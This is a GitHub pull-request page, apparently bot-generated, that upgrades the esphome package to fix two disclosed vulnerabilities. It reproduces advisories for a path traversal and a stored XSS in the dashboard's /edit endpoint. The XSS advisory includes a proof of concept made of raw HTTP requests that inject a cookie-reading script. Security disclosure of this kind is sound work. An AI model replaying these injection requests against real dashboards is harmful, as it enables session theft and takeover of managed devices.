⬆️ Update esphome to v2024 [SECURITY] #791
Merged
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
![renovate[bot]](https://avatars.githubusercontent.com/in/2740?s=60&v=4){kind=small}
renovate
bot
added
dependencies
renovate
bot
force-pushed
the
renovate/pypi-esphome-vulnerability
branch
2 times, most recently
from
749e907 to
4528915
Compare
renovate
bot
force-pushed
the
renovate/pypi-esphome-vulnerability
branch
from
4528915 to
c47992c
Compare
Sign up for free
to subscribe to this conversation on GitHub.
Already have an account?
Sign in.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
==2023.12.9->==2024.2.2Warning
Some dependencies could not be looked up. Check the Dependency Dashboard for more information.
GitHub Vulnerability Alerts
CVE-2024-27081
Summary
Security misconfiguration in edit configuration file API in dashboard component of ESPHome version 2023.12.9 (command line installation) allows authenticated remote attackers to read and write arbitrary files under the configuration directory rendering remote code execution possible.
Details
It is possible to abuse this path traversal vulnerability both in command line installation and Home Assistant add-on, but it is possible to read and write files only under the configuration directory.
The vulnerability is present and exploitable in the command line installation, but it was not possible to confirm an impact in the home assistant add-on version.
PoC
Impact
The issue gives read and write access to files under the configuration directory and allows malicious users to write arbitrary code in python scripts executed during the compilation and flashing of firmwares for ESP boards.
If chained with GHSA-9p43-hj5j-96h5 and GHSA-5925-88xh-6h99, this issue could allow an unauthenticated remote user to gain remote code execution on the machine hosting the dashboard.
It also allows accessing sensitive information such as esphome.json and board firmware source code allowing a user to modify the board firmware, and leaking secrets such as: WiFi network credentials, fallback hotspot WiFi credentials, OTA component authentication password and API encryption key.
Credits
Spike Reply Cybersecurity Team
CVE-2024-27287
Summary
Edit configuration file API in dashboard component of ESPHome version 2023.12.9 (command line installation and Home Assistant add-on) serves unsanitized data with “Content-Type: text/html; charset=UTF-8”, allowing remote authenticated user to inject arbitrary web script and exfiltrate session cookies via Cross-Site scripting (XSS).
Credits
Spike Reply Cybersecurity Teams
Details
It is possible for a malicious authenticated user to inject arbitrary Javascript in configuration files using a POST request to the /edit endpoint, the configuration parameter allows to specify the file to write.
To trigger the XSS vulnerability, the victim must visit the page /edit?configuration=[xss file].
PoC
To reproduce the issue, it is possible to perform a POST request to inject the payload:
request:
<script>alert(document.cookie);</script>POST /edit?configuration=xss.yaml HTTP/1.1
Host: localhost:6052
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:6052/
Connection: close
Cookie: authenticated=[replace with valid cookie]
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 40
response:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Thu, 30 Nov 2023 11:02:27 GMT
Content-Length: 0
Connection: close
And subsequently trigger the XSS with a GET request to the same endpoint:
request:
GET /edit?configuration=xss.yaml HTTP/1.1
Host: localhost:6052
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:6052/
Connection: close
Cookie: authenticated=2|1:0|10:1701341719|13:authenticated|4:eWVz|0907127d7274094cc5a2490b95becf5c11fd52b8c3ee3655d65fe9fda099108c
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 0
response:
<script>alert(document.cookie);</script>HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Thu, 30 Nov 2023 11:04:12 GMT
Etag: "ec6c9889f5c9a6c8e9d2d5e4ce1b1a85e6e7da2b"
Content-Length: 40
Connection: close
Impact
Abusing this vulnerability a malicious actor could perform operations on the dashboard on the behalf of a logged user, access sensitive information, create, edit and delete configuration files and flash firmware on managed boards.
In addition to this, cookies are not correctly secured, allowing the exfiltration of session cookie values.
Credits
Spike Reply Cybersecurity Team
Release Notes
esphome/esphome (esphome)
v2024.2.2Compare Source
v2024.2.1Compare Source
v2024.2.0Compare Source
Full list of changes
New Components
Breaking Changes
Beta Changes
sensorforshelly_dimmeresphome#6223 by @kbx81All changes
draw_pixels_at()method for fast block display rendering esphome#6034 by @clydebarrowsensorforshelly_dimmeresphome#6223 by @kbx81Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR has been generated by Mend Renovate. View repository job log here.